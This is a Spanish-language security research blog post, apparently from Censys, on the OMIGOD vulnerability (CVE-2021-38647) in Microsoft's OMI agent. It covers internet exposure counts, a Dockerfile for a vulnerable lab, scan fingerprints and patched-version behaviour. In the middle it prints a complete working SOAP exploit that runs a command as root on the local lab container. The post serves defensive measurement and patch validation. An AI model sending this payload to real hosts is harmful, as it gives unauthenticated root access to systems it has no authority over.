Visión general
La empresa de seguridad en la nube wiz.io anunció recientemente una serie de vulnerabilidades relacionadas con un componente que se instala automáticamente en muchas máquinas virtuales Azure Linux: El agente Microsoft Open Management Infrastructure (OMI). Una de estas vulnerabilidades es de naturaleza crítica, con una puntuación CVSS de 9,6. La causa principal de la vulnerabilidad es la falta de comprobación de la autorización antes de ejecutar un comando de gestión remota solicitado. La entrada del blog de Wiz sobre esta vulnerabilidad contiene fantásticos detalles sobre las vías de explotación y un análisis general exhaustivo. El propósito de este agente es permitir la gestión remota de máquinas basadas en Linux utilizando WinRM, que originalmente era una funcionalidad integrada en Microsoft Windows.
Ya hay pruebas de que se está produciendo un escaneado masivo de este problema en Internet, por lo que es fundamental que las organizaciones apliquen parches.
Censys ha realizado una evaluación de impacto utilizando nuestro Conjunto Universal de Datos de Internet. Estas son nuestras principales conclusiones:
- Existen
56 101 servicios expuestos conocidos en todo el mundo que probablemente sean vulnerables a este problema, entre ellos una importante organización sanitaria y dos grandes empresas de entretenimiento. La pequeña huella puede estar asociada a matices de cómo responde el servicio OMI, y que la exposición de OMI a Internet probablemente requiera un esfuerzo deliberado.
- Los escáneres de red pasan por alto el servicio OMI a menos que informen sobre sockets abiertos incluso cuando el socket no devuelva información, o coaccionen al servicio para que responda utilizando una cabecera Content-Type.
- OMI parece estar desplegado fuera de Azure también.
- Censys se ha puesto en contacto con tres organizaciones para informarles de la exposición.
- Censys ha publicado un Dockerfile que puede ser utilizado por la comunidad de investigadores de seguridad para comprobar la validación de vulnerabilidades y parches.
Actualización 2021-09-17: 101 hosts están conectados a Internet
Utilizando una carga útil específica para extraer versiones del servicio OMI, Censys realizó una búsqueda posterior de hosts OMI expuestos. Pudimos descubrir 101, frente a los 56 anteriores con un análisis que solo contenía el encabezado Content-Type:
Identificación de hosts afectados
Censys escanea Internet regularmente a intervalos variados con mayor intensidad en rangos de direcciones IP de redes en la nube conocidas, debido a su probabilidad de cambiar de manos con mayor frecuencia. Dado nuestro exclusivo conjunto de datos de Internet y la intuición, fruto de años de experiencia, de que la mayoría de las organizaciones cometen errores al configurar servicios en la nube, esperábamos ver miles de hosts expuestos. Una búsqueda inicial arrojó 2,3 millones de hosts, mostrando los 10 primeros a continuación por sistema autónomo (AS):
Nota, puede ejecutar este informe usted mismo: (services.port: 5985 o services.port: 5986 o services.port: 1270)
Por supuesto, cavando más profundo, habría muchos servicios en estos puertos que NO son OMI. En primer lugar, clásico / Windows WinRM se ejecuta en 5985 y 5986 también. Esos servicios normalmente responden con una cabecera Microsoft-HTTPAPI Server, así que son fáciles de filtrar. Además, habrá toneladas de servicios que no son OMI simplemente porque la gente generalmente reasigna los servicios web en puertos más altos para evitar la detección, aunque esta es una pobre forma de seguridad. Con estas cuestiones en la mano, realmente identificar hosts OMI requiere una comprensión más profunda de cómo funciona OMI. Con algo de ayuda inicial e indicaciones de @wvu de Rapid7, Censys construyó un Dockerfile que creará un entorno OMI directamente desde los binarios liberados en la página de lanzamientos de GitHub de OMI, así como SCXCore para lograr la ejecución.
FROM ubuntu
LABEL org.opencontainers.image.version="1.0.0"
LABEL org.opencontainers.image.vendor="Censys"
LABEL org.opencontainers.image.url="https://censys.io/blog"
LABEL org.opencontainers.image.title="Censys Microsoft OMI Container Environment"
LABEL org.opencontainers.image.description="Creates an environment which exposes a plaintext OMI service on port 5985"
ARG OMI_VERSION=1.6.8-0
ARG SCX_VERSION=1.6.6-0
ARG SCX_TARGET=universal
RUN apt-get update && apt-get install -y \
wget \
&& rm -rf /var/lib/apt/lists/*
RUN wget https://github.com/microsoft/omi/releases/download/v$OMI_VERSION/omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
&& dpkg -i omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
&& rm omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
&& sed -i "s|httpport=0|httpport=5985|g" /etc/opt/omi/conf/omiserver.conf
RUN wget https://github.com/microsoft/SCXcore/releases/download/$SCX_VERSION/scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
&& dpkg -i scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
&& rm scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb
RUN /etc/init.d/omid stop
EXPOSE 5895
ENTRYPOINT /etc/init.d/omid restart; tail -f /var/opt/omi/log/omiserver.log
Con esto en la mano, podemos construir un entorno OMI vulnerable:
docker build -t "censys/omigod" .
A continuación, podemos ejecutar el entorno:
docker run --rm -d -p 5985:5985 censys/omigod
Ahora tenemos un contenedor docker en ejecución con el servicio OMI enlazado al puerto 5985 localmente (siéntete libre de cambiar el número de puerto a la izquierda de los dos puntos si deseas utilizar un puerto diferente). El siguiente paso es tan simple como jugar con el servidor. Probemos un simple GET /
solicitud, que es lo que la mayoría de los escáneres enviarán ampliamente a través de Internet al inventario:
curl localhost:5985 -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0
Curiosamente, la conexión se cierra inmediatamente. ¿Podría ser esta la razón por la que no estamos viendo resultados en la mayoría de los motores de escaneo, como Censys, Shodan, etc.? Profundizar en el código (después de todo, es de código abierto) podría darnos más pistas, pero resulta que el servidor responderá literalmente a cualquier petición que contenga una cabecera Content-Type, así que vamos a establecer una:
curl localhost:5985 -v -H 'Content-Type: lol'
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: lol
>
< HTTP/1.1 400 Bad Request
< Content-Length: 0
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
* Closing connection 0
¡Mucho mejor! Ahora estamos recibiendo una respuesta real. En este caso, el servidor está indicando que quiere que usemos soap+xml como tipo de contenido. Por lo tanto, vamos a tratar de establecer que, y el suministro de un mensaje soap mal para ver lo que obtenemos:
curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<'
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1
>
* upload completely sent off: 1 out of 1 bytes
< HTTP/1.1 500 Internal Server Error
< Content-Length: 1360
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wsman/1/wsman/fault</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-000000020000</wsa:MessageID></SOAP-ENV:Header><SOAP-ENV:Body><SOAP-ENV:Fault><SOAP-ENV:Code><SOAP-ENV:Value>SOAP-ENV:Receiver</SOAP-ENV:Value><SOAP-ENV:Subcode><SOAP-ENV:Value>wsman:InternalError</SOAP-ENV:Value></SOAP-ENV:Subcode></SOAP-ENV:Code><SOAP-ENV:Reason><SOAP-ENV:Text xml:lang="en-US">Failed to parse XML. An XML element was expected and not found.</SOAP-ENV:Text></SOAP-ENV:Reason></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0
Fantástico. De hecho, podemos invocar la parte del código que está intentando leer un mensaje SOAP enviado (nos indica un error al intentar parsear nuestro payload roto), lo que implica que la autenticación ha sido saltada. Finalmente, podemos intentar un exploit, también a cargo de @wvu (nota, esto se ejecuta `id
` en el host, capturado en el `aWQ=
` cadena de ejecución codificada en base64 a continuación):
curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"><s:Header><a:To>HTTP://127.0.0.1:5985/wsman/</a:To><w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action><w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize><a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID><w:OperationTimeout>PT1M30S</w:OperationTimeout><w:Locale xml:lang="en-us" s:mustUnderstand="false"/><p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/><w:OptionSet s:mustUnderstand="true"/><w:SelectorSet><w:Selector Name="__cimnamespace">root/scx</w:Selector></w:SelectorSet></s:Header><s:Body><p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:Script>aWQ=</p:Script><p:Arguments/><p:timeout>0</p:timeout><p:b64encoded>true</p:b64encoded></p:ExecuteScript_INPUT></s:Body></s:Envelope>'
Aquí está el resultado ejecutado:
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1506
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 1409
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-0000000B0000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>uid=0(root) gid=0(root) groups=0(root)
</p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0
Como puedes ver arriba, tenemos ejecución como root ("uid=0(root) gid=0(root) groups=0(root)"), confirmando la vulnerabilidad.
Ahora que hemos verificado que tenemos un entorno de ejecución vulnerable, ¿qué pasa con un entorno no vulnerable? También podemos hacerlo simplemente especificando el número de versión actualizado como argumento de compilación del contenedor Docker, y un nuevo nombre de contenedor para diferenciarlo:
docker build --build-arg OMI_VERSION=1.6.8-1 -t "censys/omigod-patched" .
Entonces ejecútalo con:
docker run --rm -d -p 6985:5985 censys/omigod-patched
Con un contenedor parcheado funcionando, podemos probar los mismos comandos cURL de arriba y observar las respuestas. Resulta que la versión parcheada no responde a menos que se establezca una cabecera de autorización, y deja el socket colgado durante 60 segundos:
curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml'
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0
Una vez establecida la cabecera Authorization, podemos ver la respuesta del servidor:
curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml' -H 'Authorization: Basic xxx='
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Authorization: Basic xxx=
>
< HTTP/1.1 401 Unauthorized
< Content-Length: 0
< WWW-Authenticate: Basic realm="WSMAN"
< WWW-Authenticate: Negotiate
< WWW-Authenticate: Kerberos
<
* Connection #0 to host localhost left intact
* Closing connection 0
Hasta ahora, hemos recopilado una serie de datos clave sobre este servicio:
- Una versión vulnerable del servicio Microsoft OMI no responde a menos que se establezca una cabecera Content-Type.
- Si la cabecera Content-Type se establece en una solicitud a un servicio OMI vulnerable, responderá con 400 / Bad Request si el Content-Type no es "application/soap+xml"
- Una versión parcheada del servicio Microsoft OMI se colgará a menos que se establezca la cabecera de Autorización.
- No es necesario especificar la sub-ruta URI de /wsman, ya que OMI interpreta alegremente cualquier SOAP que se le lance.
- Los despliegues OMI basados en Microsoft parecen tener un nombre común de certificado cloudapp.net, pero esto no está garantizado.
- La versión TLS del servicio se comportará de la misma manera que la versión en texto plano.
Con esta información, podemos crear escaneos más específicos para comprender el impacto, simplemente realizando nuestros escaneos normales y estableciendo la cabecera Content-Type durante la solicitud HTTP. Censys ejecutó este escaneo desde dos perspectivas de Internet, a través de los operadores Tata y NTT. En total, identificamos sólo 56 hosts, mucho menos de lo que habíamos previsto inicialmente. La mayoría de los hosts se encontraban en Azure. Debido al pequeño tamaño de la muestra y a la naturaleza específica de estos hosts, Censys no publicará ningún conjunto de datos para proteger a estas organizaciones (que probablemente ya estén recibiendo paquetes maliciosos).
Conclusión
Claramente CVE-2021-38647 es un problema crítico que debe ser parcheado inmediatamente. Afortunadamente, la exposición externa masiva como se ha visto con otros hosts en el pasado (Microsoft Exchange viene a la mente) no parece estar presente en este caso. Sin embargo, los clientes de Azure y los usuarios de OMI fuera de Azure deben parchear inmediatamente, ya que estos problemas permitirían fácilmente el compromiso con los privilegios de nivel más alto posible en cualquier host que ejecute OMI.
Para obtener más información sobre cómo se utilizan los datos de Censys para informar a las industrias de los riesgos y vulnerabilidades críticos, consulte el resto de nuestro blog. Para solicitar una demostración de nuestra plataforma de gestión de la superficie de ataque u otras consultas, ¡póngase en contacto con nosotros!